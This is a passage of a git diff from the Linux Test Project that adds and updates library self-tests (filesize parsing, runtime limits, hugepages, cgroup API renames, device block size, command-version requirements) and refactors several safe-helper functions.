+            tst_res(TFAIL, "return code %d (%s)", ret, tst_strerrno(ret));
+    } else {
+        tst_res(TFAIL, "tst_parse_filesize should have failed");
+    }
+
+    if ((ret = tst_parse_filesize("10", &val, 100, LLONG_MAX))) {
+        if (ret == ERANGE)
+            tst_res(TPASS, "return code %d (%s)", ret, tst_strerrno(ret));
+        else
+            tst_res(TFAIL, "return code %d (%s)", ret, tst_strerrno(ret));
+    } else {
+        tst_res(TFAIL, "tst_parse_filesize should have failed");
+    }
+
+    if ((ret = tst_parse_filesize("10garbage", &val, LLONG_MIN, LLONG_MAX))) {
+        if (ret == EINVAL)
+            tst_res(TPASS, "return code %d (%s)", ret, tst_strerrno(ret));
+        else
+            tst_res(TFAIL, "return code %d (%s)", ret, tst_strerrno(ret));
+    } else {
+        tst_res(TFAIL, "tst_parse_filesize should have failed");
+    }
+}
+
+static struct tst_test test = {
+	.test_all = do_test,
+};
diff --git a/lib/newlib_tests/test_runtime01.c b/lib/newlib_tests/test_runtime01.c
new file mode 100644
index 0000000..5e02754
--- /dev/null
+++ b/lib/newlib_tests/test_runtime01.c
@@ -0,0 +1,30 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2018, Linux Test Project
+ *
+ * Runs for 4 seconds for each test iteration.
+ */
+#include <stdlib.h>
+#include <unistd.h>
+#include "tst_test.h"
+
+static void run(void)
+{
+	int runtime;
+
+	tst_res(TINFO, "Running variant %i", tst_variant);
+
+	do {
+		runtime = tst_remaining_runtime();
+		tst_res(TINFO, "Remaining runtime %d", runtime);
+		sleep(1);
+	} while (runtime);
+
+	tst_res(TPASS, "Finished loop!");
+}
+
+static struct tst_test test = {
+	.test_all = run,
+	.max_runtime = 4,
+	.test_variants = 2,
+};
diff --git a/lib/newlib_tests/test_runtime02.c b/lib/newlib_tests/test_runtime02.c
new file mode 100644
index 0000000..6d89cb5
--- /dev/null
+++ b/lib/newlib_tests/test_runtime02.c
@@ -0,0 +1,28 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2021, Linux Test Project
+ */
+/*
+ * This test is set up so that the timeout is not long enough to guarantee
+ * enough runtime for two iterations, i.e. the timeout without offset and after
+ * scaling is too small and the tests ends up with TBROK.
+ *
+ * The default timeout in the test library is set to 30 seconds. The test
+ * runtime is set to 5 so the test should timeout after 35 seconds.
+ */
+
+#include <stdlib.h>
+#include <unistd.h>
+#include "tst_test.h"
+
+static void run(void)
+{
+	tst_res(TINFO, "Sleeping for 40 seconds");
+	sleep(40);
+	tst_res(TFAIL, "Still alive");
+}
+
+static struct tst_test test = {
+	.test_all = run,
+	.max_runtime = 5,
+};
diff --git a/lib/newlib_tests/test_zero_hugepage.c b/lib/newlib_tests/test_zero_hugepage.c
new file mode 100644
index 0000000..eec48ff
--- /dev/null
+++ b/lib/newlib_tests/test_zero_hugepage.c
@@ -0,0 +1,36 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2021 Yang Xu <xuyang2018.jy@fujitsu.com>
+ */
+
+/*
+ * Tests .hugepages = {TST_NO_HUGEPAGES}
+ */
+
+#include "tst_test.h"
+#include "tst_hugepage.h"
+#include "tst_sys_conf.h"
+
+static void do_test(void)
+{
+	unsigned long val, hpages;
+
+	SAFE_FILE_SCANF(PATH_NR_HPAGES, "%lu", &val);
+	if (val != 0)
+		tst_brk(TBROK, "nr_hugepages = %lu, but expect 0", val);
+	else
+		tst_res(TPASS, "test .hugepages = {TST_NO_HUGEPAGES}");
+
+	struct tst_hugepage hp = { 3, TST_REQUEST };
+	hpages = tst_reserve_hugepages(&hp);
+	SAFE_FILE_SCANF(PATH_NR_HPAGES, "%lu", &val);
+	if (val != hpages)
+		tst_brk(TBROK, "nr_hugepages = %lu, but expect %lu", val, hpages);
+	else
+		tst_res(TPASS, "tst_reserve_hugepages");
+}
+
+static struct tst_test test = {
+	.test_all = do_test,
+	.hugepages = {TST_NO_HUGEPAGES},
+};
diff --git a/lib/newlib_tests/test_zero_hugepage.sh b/lib/newlib_tests/test_zero_hugepage.sh
new file mode 100755
index 0000000..92bd7e3
--- /dev/null
+++ b/lib/newlib_tests/test_zero_hugepage.sh
@@ -0,0 +1,32 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2021 Yang Xu <xuyang2018.jy@fujitsu.com>
+# Copyright (c) 2021 Petr Vorel <pvorel@suse.cz>
+
+tconf()
+{
+	echo "TCONF: $1"
+	exit 32
+}
+
+echo "Testing .request_hugepages = TST_NO_HUGEPAGES"
+
+orig_value=`cat /proc/sys/vm/nr_hugepages`
+
+if grep -q -E '^proc /proc(/sys)? proc ro' /proc/mounts; then
+	tconf "/proc or /proc/sys mounted as read-only"
+fi
+
+if [ ! -f /proc/sys/vm/nr_hugepages ]; then
+	tconf "/proc/sys/vm/nr_hugepages does not exist"
+fi
+
+if [ ! -w /proc/sys/vm/nr_hugepages ]; then
+	tconf "no write permission to /proc/sys/vm/nr_hugepages (run as root)"
+fi
+
+echo 4 > /proc/sys/vm/nr_hugepages
+
+./test_zero_hugepage
+
+echo $orig_value > /proc/sys/vm/nr_hugepages
diff --git a/lib/newlib_tests/tst_cgroup01.c b/lib/newlib_tests/tst_cgroup01.c
index 54a3703..eda0c54 100644
--- a/lib/newlib_tests/tst_cgroup01.c
+++ b/lib/newlib_tests/tst_cgroup01.c
@@ -4,7 +4,6 @@
 #include <stdio.h>
 
 #include "tst_test.h"
-#include "tst_cgroup.h"
 
 static char *only_mount_v1;
 static char *no_cleanup;
@@ -13,7 +12,7 @@
 	{"n", &no_cleanup, "-n\tLeave CGroups created by test"},
 	{NULL, NULL, NULL},
 };
-struct tst_cgroup_opts cgopts;
+struct tst_cg_opts cgopts;
 
 static void do_test(void)
 {
@@ -22,15 +21,15 @@
 
 static void setup(void)
 {
-	cgopts.only_mount_v1 = !!only_mount_v1,
+	cgopts.needs_ver = !!only_mount_v1 ? TST_CG_V1 : 0;
 
-	tst_cgroup_scan();
-	tst_cgroup_print_config();
+	tst_cg_scan();
+	tst_cg_print_config();
 
-	tst_cgroup_require("memory", &cgopts);
-	tst_cgroup_print_config();
-	tst_cgroup_require("cpuset", &cgopts);
-	tst_cgroup_print_config();
+	tst_cg_require("memory", &cgopts);
+	tst_cg_print_config();
+	tst_cg_require("cpuset", &cgopts);
+	tst_cg_print_config();
 }
 
 static void cleanup(void)
@@ -39,7 +38,7 @@
 		tst_res(TINFO, "no cleanup");
 	} else {
 		tst_res(TINFO, "cleanup");
-		tst_cgroup_cleanup();
+		tst_cg_cleanup();
 	}
 }
 
diff --git a/lib/newlib_tests/tst_cgroup02.c b/lib/newlib_tests/tst_cgroup02.c
index 1e21520..de2ca18 100644
--- a/lib/newlib_tests/tst_cgroup02.c
+++ b/lib/newlib_tests/tst_cgroup02.c
@@ -5,7 +5,6 @@
 #include <stdio.h>
 
 #include "tst_test.h"
-#include "tst_cgroup.h"
 
 static char *only_mount_v1;
 static char *no_cleanup;
@@ -14,71 +13,69 @@
 	{"n", &no_cleanup, "-n\tLeave CGroups created by test"},
 	{NULL, NULL, NULL},
 };
-static struct tst_cgroup_opts cgopts;
-static const struct tst_cgroup_group *cg;
-static const struct tst_cgroup_group *cg_drain;
-static struct tst_cgroup_group *cg_child;
+static struct tst_cg_opts cgopts;
+static struct tst_cg_group *cg_child;
 
 static void do_test(void)
 {
 	char buf[BUFSIZ];
 	size_t mem;
 
-	if (TST_CGROUP_VER(cg, "memory") != TST_CGROUP_V1)
-		SAFE_CGROUP_PRINT(cg, "cgroup.subtree_control", "+memory");
-	if (TST_CGROUP_VER(cg, "cpuset") != TST_CGROUP_V1)
-		SAFE_CGROUP_PRINT(cg, "cgroup.subtree_control", "+cpuset");
+	if (!TST_CG_VER_IS_V1(tst_cg, "memory"))
+		SAFE_CG_PRINT(tst_cg, "cgroup.subtree_control", "+memory");
+	if (!TST_CG_VER_IS_V1(tst_cg, "cpuset"))
+		SAFE_CG_PRINT(tst_cg, "cgroup.subtree_control", "+cpuset");
 
-	cg_child = tst_cgroup_group_mk(cg, "child");
+	cg_child = tst_cg_group_mk(tst_cg, "child");
 	if (!SAFE_FORK()) {
-		SAFE_CGROUP_PRINTF(cg_child, "cgroup.procs", "%d", getpid());
+		SAFE_CG_PRINTF(cg_child, "cgroup.procs", "%d", getpid());
 
-		SAFE_CGROUP_SCANF(cg_child, "memory.current", "%zu", &mem);
+		SAFE_CG_SCANF(cg_child, "memory.current", "%zu", &mem);
 		tst_res(TPASS, "child/memory.current = %zu", mem);
-		SAFE_CGROUP_PRINTF(cg_child, "memory.max",
+		SAFE_CG_PRINTF(cg_child, "memory.max",
 				   "%zu", (1UL << 24) - 1);
-		SAFE_CGROUP_PRINTF(cg_child, "memory.swap.max",
+		SAFE_CG_PRINTF(cg_child, "memory.swap.max",
 				   "%zu", 1UL << 31);
 
-		SAFE_CGROUP_READ(cg_child, "cpuset.mems", buf, sizeof(buf));
+		SAFE_CG_READ(cg_child, "cpuset.mems", buf, sizeof(buf));
 		tst_res(TPASS, "child/cpuset.mems = %s", buf);
-		SAFE_CGROUP_PRINT(cg_child, "cpuset.mems", buf);
+		SAFE_CG_PRINT(cg_child, "cpuset.mems", buf);
 
 		exit(0);
 	}
 
-	SAFE_CGROUP_PRINTF(cg, "memory.max", "%zu", (1UL << 24) - 1);
-	SAFE_CGROUP_PRINTF(cg_child, "cgroup.procs", "%d", getpid());
-	SAFE_CGROUP_SCANF(cg, "memory.current", "%zu", &mem);
+	SAFE_CG_PRINTF(tst_cg, "memory.max", "%zu", (1UL << 24) - 1);
+	SAFE_CG_PRINTF(cg_child, "cgroup.procs", "%d", getpid());
+	SAFE_CG_SCANF(tst_cg, "memory.current", "%zu", &mem);
 	tst_res(TPASS, "memory.current = %zu", mem);
 
 	tst_reap_children();
-	SAFE_CGROUP_PRINTF(cg_drain, "cgroup.procs", "%d", getpid());
-	cg_child = tst_cgroup_group_rm(cg_child);
+	SAFE_CG_PRINTF(tst_cg_drain, "cgroup.procs", "%d", getpid());
+	cg_child = tst_cg_group_rm(cg_child);
 }
 
 static void setup(void)
 {
-	cgopts.only_mount_v1 = !!only_mount_v1,
+	cgopts.needs_ver = !!only_mount_v1 ? TST_CG_V1 : 0;
 
-	tst_cgroup_scan();
-	tst_cgroup_print_config();
+	tst_cg_scan();
+	tst_cg_print_config();
 
-	tst_cgroup_require("memory", &cgopts);
-	tst_cgroup_require("cpuset", &cgopts);
+	tst_cg_require("memory", &cgopts);
+	tst_cg_require("cpuset", &cgopts);
 
-	cg = tst_cgroup_get_test_group();
-	cg_drain = tst_cgroup_get_drain_group();
+	tst_cg_init();
 }
 
 static void cleanup(void)
 {
 	if (cg_child) {
-		SAFE_CGROUP_PRINTF(cg_drain, "cgroup.procs", "%d", getpid());
-		cg_child = tst_cgroup_group_rm(cg_child);
+		SAFE_CG_PRINTF(tst_cg_drain,
+				   "cgroup.procs", "%d", getpid());
+		cg_child = tst_cg_group_rm(cg_child);
 	}
 	if (!no_cleanup)
-		tst_cgroup_cleanup();
+		tst_cg_cleanup();
 }
 
 static struct tst_test test = {
diff --git a/lib/newlib_tests/tst_device.c b/lib/newlib_tests/tst_device.c
index ad077af..87cec39 100644
--- a/lib/newlib_tests/tst_device.c
+++ b/lib/newlib_tests/tst_device.c
@@ -1,46 +1,112 @@
 // SPDX-License-Identifier: GPL-2.0-or-later
 /*
  * Copyright (c) 2016 Linux Test Project
+ * Copyright (C) 2021 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com>
  */
+#define _GNU_SOURCE
 
 #include <stdlib.h>
 #include <sys/mount.h>
 #include <stdint.h>
+#include <stdio.h>
+#include <lapi/loop.h>
+#include <time.h>
 
 #include "tst_test.h"
 
-static void do_test(void)
+#define DEVBLOCKSIZE 2048
+#define DEV_MIN_SIZE 310
+
+static char *mntpoint;
+static uint64_t ltp_dev_size;
+
+static int set_block_size(int fd)
+{
+	return ioctl(fd, LOOP_SET_BLOCK_SIZE, DEVBLOCKSIZE);
+}
+
+static void setup(void)
 {
 	int fd;
-	const char *dev;
-	char block_dev[100];
-	uint64_t ltp_dev_size;
+	int ret;
 
-	dev = tst_device->dev;
-	if (!dev)
-		tst_brk(TCONF, "Failed to acquire test device");
+	ret = asprintf(&mntpoint, "%s/mnt", tst_get_tmpdir());
+	if (ret < 0)
+		tst_brk(TBROK, "asprintf failure");
 
-	SAFE_MKFS(dev, "ext2", NULL, NULL);
+	fd = SAFE_OPEN(tst_device->dev, O_RDONLY);
 
-	fd = SAFE_OPEN(dev, O_RDONLY);
 	SAFE_IOCTL(fd, BLKGETSIZE64, &ltp_dev_size);
+
+	TST_RETRY_FN_EXP_BACKOFF(set_block_size(fd), TST_RETVAL_EQ0, 10);
+
 	SAFE_CLOSE(fd);
 
-	if (ltp_dev_size/1024/1024 == 300)
-		tst_res(TPASS, "Got expected device size");
-	else
-		tst_res(TFAIL, "Got unexpected device size");
+	SAFE_MKFS(tst_device->dev, tst_device->fs_type, NULL, NULL);
 
-	tst_find_backing_dev("/boot", block_dev);
-	tst_res(TPASS, "/boot belongs to %s block dev", block_dev);
-	tst_find_backing_dev("/", block_dev);
-	tst_res(TPASS, "/ belongs to %s block dev", block_dev);
-	tst_find_backing_dev("/tmp", block_dev);
-	tst_find_backing_dev("/boot/xuyang", block_dev);
+	SAFE_MKDIR(mntpoint, 0777);
+	SAFE_MOUNT(tst_device->dev, mntpoint, tst_device->fs_type, 0, 0);
+}
+
+static void cleanup(void)
+{
+	if (tst_is_mounted(mntpoint))
+		SAFE_UMOUNT(mntpoint);
+}
+
+static void test_dev_min_size(void)
+{
+	uint64_t size;
+
+	size = ltp_dev_size / 1024 / 1024;
+
+	if (size == DEV_MIN_SIZE)
+		tst_res(TPASS, "Got expected device size %lu", size);
+	else
+		tst_res(TFAIL, "Expected device size is %d but got %lu",
+			DEV_MIN_SIZE, size);
+}
+
+static void test_tst_find_backing_dev(void)
+{
+	char block_dev[100];
+
+	tst_find_backing_dev(mntpoint, block_dev);
+
+	if (!strcmp(tst_device->dev, block_dev))
+		tst_res(TPASS, "%s belongs to %s block dev", mntpoint,
+			block_dev);
+	else
+		tst_res(TFAIL, "%s should belong to %s, but %s is returned",
+			mntpoint, tst_device->dev, block_dev);
+}
+
+static void test_tst_dev_block_size(void)
+{
+	int block_size;
+
+	block_size = tst_dev_block_size(mntpoint);
+
+	if (block_size == DEVBLOCKSIZE)
+		tst_res(TPASS, "%s has %d block size", mntpoint, block_size);
+	else
+		tst_res(TFAIL, "%s has %d block size, but expected is %i",
+			mntpoint, block_size, DEVBLOCKSIZE);
+}
+
+static void do_test(void)
+{
+	test_dev_min_size();
+	test_tst_find_backing_dev();
+	test_tst_dev_block_size();
 }
 
 static struct tst_test test = {
+	.needs_root = 1,
 	.needs_device = 1,
-	.dev_min_size = 300,
+	.dev_min_size = DEV_MIN_SIZE,
 	.test_all = do_test,
+	.setup = setup,
+	.cleanup = cleanup,
+	.min_kver = "4.14",
 };
diff --git a/lib/newlib_tests/tst_fuzzy_sync01.c b/lib/newlib_tests/tst_fuzzy_sync01.c
index 73408e4..d074895 100644
--- a/lib/newlib_tests/tst_fuzzy_sync01.c
+++ b/lib/newlib_tests/tst_fuzzy_sync01.c
@@ -3,7 +3,7 @@
  * Copyright (c) 2021 Richard Palethorpe <rpalethorpe@suse.com>
  */
 /*\
- * [DESCRIPTION]
+ * [Description]
  *
  * This verifies Fuzzy Sync's basic ability to reproduce a particular
  * outcome to a data race when the critical sections are not aligned.
@@ -227,4 +227,5 @@
 	.test = run,
 	.setup = setup,
 	.cleanup = cleanup,
+	.max_runtime = 150,
 };
diff --git a/lib/newlib_tests/tst_fuzzy_sync02.c b/lib/newlib_tests/tst_fuzzy_sync02.c
index 394fb22..afe4973 100644
--- a/lib/newlib_tests/tst_fuzzy_sync02.c
+++ b/lib/newlib_tests/tst_fuzzy_sync02.c
@@ -3,7 +3,7 @@
  * Copyright (c) 2021 Richard Palethorpe <rpalethorpe@suse.com>
  */
 /*\
- * [DESCRIPTION]
+ * [Description]
  *
  * This verifies Fuzzy Sync's ability to reproduce a particular
  * outcome to a data race when multiple races are present.
@@ -169,4 +169,5 @@
 	.test = run,
 	.setup = setup,
 	.cleanup = cleanup,
+	.max_runtime = 150,
 };
diff --git a/lib/newlib_tests/test16.c b/lib/newlib_tests/tst_fuzzy_sync03.c
similarity index 98%
rename from lib/newlib_tests/test16.c
rename to lib/newlib_tests/tst_fuzzy_sync03.c
index 0d74e1e..47ce767 100644
--- a/lib/newlib_tests/test16.c
+++ b/lib/newlib_tests/tst_fuzzy_sync03.c
@@ -99,4 +99,5 @@
 	.setup = setup,
 	.cleanup = cleanup,
 	.test_all = run,
+	.max_runtime = 150,
 };
diff --git a/lib/newlib_tests/tst_needs_cmds01.c b/lib/newlib_tests/tst_needs_cmds01.c
new file mode 100644
index 0000000..777c695
--- /dev/null
+++ b/lib/newlib_tests/tst_needs_cmds01.c
@@ -0,0 +1,24 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2021 Yang Xu <xuyang2018.jy@fujitsu.com>
+ */
+
+#include "tst_test.h"
+
+static void do_test(void)
+{
+	tst_res(TPASS, "Testing tst_check_cmd() functionality OK.");
+}
+
+static struct tst_test test = {
+	.test_all = do_test,
+	.needs_cmds = (const char *[]) {
+		"mkfs.ext4",
+		"mkfs.ext4 >= 1.0.0",
+		"mkfs.ext4 <= 2.0.0",
+		"mkfs.ext4 != 2.0.0",
+		"mkfs.ext4 > 1.0.0",
+		"mkfs.ext4 < 2.0.0",
+		NULL
+	}
+};
diff --git a/lib/newlib_tests/tst_needs_cmds02.c b/lib/newlib_tests/tst_needs_cmds02.c
new file mode 100644
index 0000000..455a275
--- /dev/null
+++ b/lib/newlib_tests/tst_needs_cmds02.c
@@ -0,0 +1,23 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2021 Yang Xu <xuyang2018.jy@fujitsu.com>
+ */
+
+/*
+ * Test Illegal format by using non-existing cmd.
+ */
+
+#include "tst_test.h"
+
+static void do_test(void)
+{
+	tst_res(TFAIL, "Nonexisting command is present!");
+}
+
+static struct tst_test test = {
+	.test_all = do_test,
+	.needs_cmds = (const char *[]) {
+		"mkfs.ext45 >= 1.43.0",
+		NULL
+	}
+};
diff --git a/lib/newlib_tests/tst_needs_cmds03.c b/lib/newlib_tests/tst_needs_cmds03.c
new file mode 100644
index 0000000..bdc1cdf
--- /dev/null
+++ b/lib/newlib_tests/tst_needs_cmds03.c
@@ -0,0 +1,23 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2021 Yang Xu <xuyang2018.jy@fujitsu.com>
+ */
+
+/*
+ * Test Illegal format by using Illegal operation.
+ */
+
+#include "tst_test.h"
+
+static void do_test(void)
+{
+	tst_res(TFAIL, "Wrong operator was evaluated!");
+}
+
+static struct tst_test test = {
+	.test_all = do_test,
+	.needs_cmds = (const char *[]) {
+		"mkfs.ext4 ! 1.43.0",
+		NULL
+	}
+};
diff --git a/lib/newlib_tests/tst_needs_cmds04.c b/lib/newlib_tests/tst_needs_cmds04.c
new file mode 100644
index 0000000..de10b8f
--- /dev/null
+++ b/lib/newlib_tests/tst_needs_cmds04.c
@@ -0,0 +1,23 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2021 Yang Xu <xuyang2018.jy@fujitsu.com>
+ */
+
+/*
+ * Test Illegal format by using incomplete version.
+ */
+
+#include "tst_test.h"
+
+static void do_test(void)
+{
+	tst_res(TFAIL, "Incomplete version was parsed!");
+}
+
+static struct tst_test test = {
+	.test_all = do_test,
+	.needs_cmds = (const char *[]) {
+		"mkfs.ext4 > 1.43",
+		NULL
+	}
+};
diff --git a/lib/newlib_tests/tst_needs_cmds05.c b/lib/newlib_tests/tst_needs_cmds05.c
new file mode 100644
index 0000000..c3b2b3b
--- /dev/null
+++ b/lib/newlib_tests/tst_needs_cmds05.c
@@ -0,0 +1,23 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2021 Yang Xu <xuyang2018.jy@fujitsu.com>
+ */
+
+/*
+ * Test Illegal format by using version that has garbage.
+ */
+
+#include "tst_test.h"
+
+static void do_test(void)
+{
+	tst_res(TFAIL, "Garbage version was parsed!");
+}
+
+static struct tst_test test = {
+	.test_all = do_test,
+	.needs_cmds = (const char *[]) {
+		"mkfs.ext4 > 1.43.0-1",
+		NULL
+	}
+};
diff --git a/lib/newlib_tests/tst_needs_cmds06.c b/lib/newlib_tests/tst_needs_cmds06.c
new file mode 100644
index 0000000..40b1cf0
--- /dev/null
+++ b/lib/newlib_tests/tst_needs_cmds06.c
@@ -0,0 +1,23 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2021 Yang Xu <xuyang2018.jy@fujitsu.com>
+ */
+
+/*
+ * Test Illegal format with garbage.
+ */
+
+#include "tst_test.h"
+
+static void do_test(void)
+{
+	tst_res(TFAIL, "Garbage format was parsed!");
+}
+
+static struct tst_test test = {
+	.test_all = do_test,
+	.needs_cmds = (const char *[]) {
+		"mkfs.ext4 > 1.43.0 2",
+		NULL
+	}
+};
diff --git a/lib/newlib_tests/tst_needs_cmds07.c b/lib/newlib_tests/tst_needs_cmds07.c
new file mode 100644
index 0000000..d0b4ce2
--- /dev/null
+++ b/lib/newlib_tests/tst_needs_cmds07.c
@@ -0,0 +1,23 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2021 Yang Xu <xuyang2018.jy@fujitsu.com>
+ */
+
+/*
+ * Test non-existed cmd whether still can be detected.
+ */
+
+#include "tst_test.h"
+
+static void do_test(void)
+{
+	tst_res(TFAIL, "Nonexisting command is present!");
+}
+
+static struct tst_test test = {
+	.test_all = do_test,
+	.needs_cmds = (const char *[]) {
+		"mkfs.ext45",
+		NULL
+	}
+};
diff --git a/lib/newlib_tests/tst_needs_cmds08.c b/lib/newlib_tests/tst_needs_cmds08.c
new file mode 100644
index 0000000..38df2ef
--- /dev/null
+++ b/lib/newlib_tests/tst_needs_cmds08.c
@@ -0,0 +1,26 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2021 Yang Xu <xuyang2018.jy@fujitsu.com>
+ */
+
+/*
+ * Test mkfs.xfs that it doesn't have own parser and table_get function
+ * at the version_parsers structure in lib/tst_cmd.c.
+ * So it should report parser function for this cmd is not implemented.
+ */
+
+#include "tst_test.h"
+
+static void do_test(void)
+{
+	tst_res(TFAIL, "Nonexisting parser function for mkfs.xfs is present!");
+}
+
+static struct tst_test test = {
+	.test_all = do_test,
+	.needs_cmds = (const char *[]) {
+		"mkfs.xfs",
+		"mkfs.xfs >= 4.20.0",
+		NULL
+	}
+};
diff --git a/lib/newlib_tests/test17.c b/lib/newlib_tests/tst_print_result.c
similarity index 79%
rename from lib/newlib_tests/test17.c
rename to lib/newlib_tests/tst_print_result.c
index c0fc0bc..0a2ca5a 100644
--- a/lib/newlib_tests/test17.c
+++ b/lib/newlib_tests/tst_print_result.c
@@ -1,12 +1,10 @@
 // SPDX-License-Identifier: GPL-2.0-or-later
 /*
- * Copyright (c) 2017 Richard Palethorpe <rpalethorpe@suse.com>
+ * Copyright (c) 2017 Veronika Kabatova <vkabatov@redhat.com>
  */
-/* Basic functionality test for tst_fuzzy_sync.h similar to the atomic tests
- * (test15.c). One thread writes to the odd indexes of an array while the
- * other writes to the even. If the threads are not synchronised then they
- * will probably write to the wrong indexes as they share an index variable
- * which they should take it in turns to update.
+
+/*
+ * Test for cecbd0cb3 ("Fix buffer overflow in print_result() function")
  */
 
 #include <stdlib.h>
diff --git a/lib/newlib_tests/tst_strstatus.c b/lib/newlib_tests/tst_strstatus.c
index aeeeb77..f8655fe 100644
--- a/lib/newlib_tests/tst_strstatus.c
+++ b/lib/newlib_tests/tst_strstatus.c
@@ -1,6 +1,7 @@
 // SPDX-License-Identifier: GPL-2.0-or-later
 /*
  * Copyright (c) 2017 Cyril Hrubis <chrubis@suse.cz>
+ * Copyright (c) 2019-2021 Petr Vorel <pvorel@suse.cz>
  */
 
 /*
@@ -18,7 +19,7 @@
 	{0x0001, "killed by SIGHUP"},
 	{0x137f, "is stopped"},
 	{0xffff, "is resumed"},
-	{0xff, "invalid status 0xff"},
+	{0x1ff, "invalid status 0x1ff"},
 };
 
 static void do_test(unsigned int n)
diff --git a/lib/safe_file_ops.c b/lib/safe_file_ops.c
index 249a512..f803691 100644
--- a/lib/safe_file_ops.c
+++ b/lib/safe_file_ops.c
@@ -250,11 +250,10 @@
 	return 1;
 }
 
-void safe_file_printf(const char *file, const int lineno,
-		      void (*cleanup_fn) (void),
-		      const char *path, const char *fmt, ...)
+static void safe_file_vprintf(const char *file, const int lineno,
+	void (*cleanup_fn)(void), const char *path, const char *fmt,
+	va_list va)
 {
-	va_list va;
 	FILE *f;
 
 	f = fopen(path, "w");
@@ -265,16 +264,12 @@
 		return;
 	}
 
-	va_start(va, fmt);
-
 	if (vfprintf(f, fmt, va) < 0) {
 		tst_brkm_(file, lineno, TBROK, cleanup_fn,
 			"Failed to print to FILE '%s'", path);
 		return;
 	}
 
-	va_end(va);
-
 	if (fclose(f)) {
 		tst_brkm_(file, lineno, TBROK | TERRNO, cleanup_fn,
 			"Failed to close FILE '%s'", path);
@@ -282,6 +277,29 @@
 	}
 }
 
+void safe_file_printf(const char *file, const int lineno,
+	void (*cleanup_fn)(void), const char *path, const char *fmt, ...)
+{
+	va_list va;
+
+	va_start(va, fmt);
+	safe_file_vprintf(file, lineno, cleanup_fn, path, fmt, va);
+	va_end(va);
+}
+
+void safe_try_file_printf(const char *file, const int lineno,
+	void (*cleanup_fn)(void), const char *path, const char *fmt, ...)
+{
+	va_list va;
+
+	if (access(path, F_OK))
+		return;
+
+	va_start(va, fmt);
+	safe_file_vprintf(file, lineno, cleanup_fn, path, fmt, va);
+	va_end(va);
+}
+
 //TODO: C implementation? better error condition reporting?
 int safe_cp(const char *file, const int lineno,
 	     void (*cleanup_fn) (void), const char *src, const char *dst)
diff --git a/lib/safe_macros.c b/lib/safe_macros.c
index a5b6bc5..16e582b 100644
--- a/lib/safe_macros.c
+++ b/lib/safe_macros.c
@@ -1011,7 +1011,8 @@
 	if (rval == -1) {
 		if (errno == ENOTSUP) {
 			tst_brkm_(file, lineno, TCONF, NULL,
-				"no xattr support in fs or mounted without user_xattr option");
+				"no xattr support in fs, mounted without user_xattr option "
+				"or invalid namespace/name format");
 			return rval;
 		}
 
@@ -1037,7 +1038,8 @@
 	if (rval == -1) {
 		if (errno == ENOTSUP) {
 			tst_brkm_(file, lineno, TCONF, NULL,
-				"no xattr support in fs or mounted without user_xattr option");
+				"no xattr support in fs, mounted without user_xattr option "
+				"or invalid namespace/name format");
 			return rval;
 		}
 
@@ -1063,7 +1065,8 @@
 	if (rval == -1) {
 		if (errno == ENOTSUP) {
 			tst_brkm_(file, lineno, TCONF, NULL,
-				"no xattr support in fs or mounted without user_xattr option");
+				"no xattr support in fs, mounted without user_xattr option "
+				"or invalid namespace/name format");
 			return rval;
 		}
 
diff --git a/lib/safe_net.c b/lib/safe_net.c
index 211fd9b..1717f07 100644
--- a/lib/safe_net.c
+++ b/lib/safe_net.c
@@ -368,11 +368,14 @@
 		int socket, int backlog)
 {
 	int rval;
+	int res = TBROK;
 
 	rval = listen(socket, backlog);
 
 	if (rval == -1) {
-		tst_brkm_(file, lineno, TBROK | TERRNO, cleanup_fn,
+		if (errno == ENOSYS)
+			res = TCONF;
+		tst_brkm_(file, lineno, res | TERRNO, cleanup_fn,
 			"listen(%d, %d) failed", socket, backlog);
 	} else if (rval) {
 		tst_brkm_(file, lineno, TBROK | TERRNO, cleanup_fn,
diff --git a/lib/tlibio.c b/lib/tlibio.c
index cc110d1..7988391 100644
--- a/lib/tlibio.c
+++ b/lib/tlibio.c
@@ -195,7 +195,7 @@
 static volatile int Received_callback = 0;	/* number of callbacks received */
 static volatile int Rec_callback;
 #endif
-static char Errormsg[500];
+static char Errormsg[PATH_MAX*2];
 static int Debug_level = 0;
 
 /***********************************************************************
diff --git a/lib/tst_af_alg.c b/lib/tst_af_alg.c
index d3895a8..f5437c5 100644
--- a/lib/tst_af_alg.c
+++ b/lib/tst_af_alg.c
@@ -1,6 +1,7 @@
 // SPDX-License-Identifier: GPL-2.0-or-later
 /*
  * Copyright 2019 Google LLC
+ * Copyright (c) Linux Test Project, 2019-2021
  */
 
 #include <errno.h>
@@ -13,25 +14,36 @@
 
 int tst_alg_create(void)
 {
-	TEST(socket(AF_ALG, SOCK_SEQPACKET, 0));
-	if (TST_RET >= 0)
-		return TST_RET;
-	if (TST_ERR == EAFNOSUPPORT)
+	const long ret = socket(AF_ALG, SOCK_SEQPACKET, 0);
+
+	if (ret >= 0)
+		return ret;
+	if (errno == EAFNOSUPPORT)
 		tst_brk(TCONF, "kernel doesn't support AF_ALG");
-	tst_brk(TBROK | TTERRNO, "unexpected error creating AF_ALG socket");
+	tst_brk(TBROK | TERRNO, "unexpected error creating AF_ALG socket");
 	return -1;
 }
 
 void tst_alg_bind_addr(int algfd, const struct sockaddr_alg *addr)
 {
-	TEST(bind(algfd, (const struct sockaddr *)addr, sizeof(*addr)));
-	if (TST_RET == 0)
+	const long ret = bind(algfd, (const struct sockaddr *)addr,
+			      sizeof(*addr));
+
+	if (ret == 0)
 		return;
-	if (TST_ERR == ENOENT) {
+
+	if (errno == ELIBBAD && tst_fips_enabled()) {
+		tst_brk(TCONF,
